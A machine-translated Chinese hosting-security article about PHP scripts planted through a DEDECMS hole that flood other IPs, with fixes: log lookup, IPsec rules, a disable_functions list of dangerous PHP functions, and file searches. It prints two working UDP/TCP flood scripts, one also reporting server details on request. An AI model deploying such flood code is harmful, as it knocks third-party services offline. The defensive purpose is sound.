日期:2012-05-22 15:31:00  来源:本站整理

php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]

赞助商链接



  本文“php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

  据星外科技原创ip战略,总结DEDECMS php对外发包引发服务器崩溃的终极办理办法,但愿可以帮忙客户办理服务器问题,让网站运行的更好

  一、php对外发包解析

  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码以下:

  以下是代码片段:

  $packets = 0;

  $ip = $_GET[\'ip\'];

  $rand = $_GET[\'port\'];

  set_time_limit(0);

  ignore_user_abort(FALSE);

  $exec_time = $_GET[\'time\'];

  $time = time();

  print \'Flooded: $ip on port $rand

  \';

  $max_time = $time+$exec_time;

  for($i=0;$i<65535;$i++){

  $out .= \'X\';

  }

  while(1){

  $packets++;

  if(time() > $max_time){

  break;

  }

  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);

  if($fp){

  fwrite($fp, $out);

  fclose($fp);

  }

  }

  echo \'Packet complete at \'.time(\'h:i:s\').\' with

  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.

  round($packets/$exec_time, 2) . \' packets/s \\n\';

  ?>

  二、表现特点

  一翻开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情形和遭到DDOS攻击是差别的,DDOS是服务器不断收到大量数据包.

  近期由于DEDECMS呈现漏洞而招致大量服务器呈现这个问题.

  若何快速找到这些站?

  你可以翻开日记

  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,翻开本日时间的文件,

  里面有近似这样的记录:

  2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

  最后三项783 Disabled 30_FreeHost_1

  783就是这个站在IIS中的ID

  30_FreeHost_1就是所在池 www.2cto.com

  三、办理办法

  1.按上述找到这个网站后终止它.或终止池,并重启IIS.

  2.在IP战略,或防火墙中,禁止全部udp向外发送

  在星外最新版本的安全包中,已带有4.0版本的IP战略【下载safe包】,您导入后就直接可以限制了外发的UDP包。下载这个包,之后导入安全战略。但这个战略并没有关闭DNS端口,部份攻击还是有效.

  为了办理这个问题,你也可以调整IP战略,限制udp只能拜候特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP战略中的udp open部份便可以办理.(翻开IP战略的属性,双击open,将open中的两条udp记录删除肆意一条,在保存的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)

  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP战略关闭全部UDP端口用.ipsec'文件,您可以导入它并启用,便可以关闭全部udp端口,便可以完好避免这类攻击,但是,这个战略由于关闭了DNS端口,会造成的这台服务器上无法用IE拜候任何域名,因此,用户的采集功效也就用不了.(一样,假如在主控网站上用了这个战略,就会造成的受控自检不通过,因为解析不了域名,别的,部份用户反映此战略会造成的mysql不正常)

  3.用一流信息监控,在SQL拦阻及网址拦阻中,拦阻port=这个关键词(其他关键词可以删除.)

  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

  ignore_user_abort = On

  (注意前面的;号要删除)

  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

  在背面加上

  fsockopen,set_time_limit

  但这样会造成很多php程序都不正常.

  别的,这也表明你的服务器安全做得不错,假如能入侵.黑客就直接提权了,还DOS做什么?

  近期已有新的基于TCP攻击的PHPDDOS代码以下:

  以下是代码片段:

  set_time_limit(999999);

  $host = $_GET['host'];

  $port = $_GET['port'];

  $exec_time = $_GET['time'];

  $packets = 64;

  ignore_user_abort(True);

  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){

  if (StrLen($_GET['rat'])<>0){

  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.

  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];

  exit;

  }

  exit;

  }

  $max_time = time()+$exec_time;

  while(1){

  $packets++;

  if(time() > $max_time or $exec_time != 69){

  break;

  }

  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);

  }

  ?>

  一样,可以采有以下办理办法:

  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

  ignore_user_abort = On

  (注意前面的;号要删除)

  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

  在背面加上

  fsockopen,set_time_limit

  但这样会造成很多php程序都不正常. 假如您是IDC,给客户供应空间的,禁用函数大概招致客户程序无法运行,所以普通不要用此办法

  2.在IP战略中禁止全部外访的TCP数据包,但这样会造成的采集功效无效,也不能用在主控服务器上。

  3.在服务器要用关键词tcp:或udp:搜索全部php类文件,找到攻击文件,删除它。


  以上是“php对外发包引发服务器崩溃的终极办理办法分享[服务器安全]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • php对外发包引发服务器崩溃的终极办理办法分享
  • php对文件操作代码
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .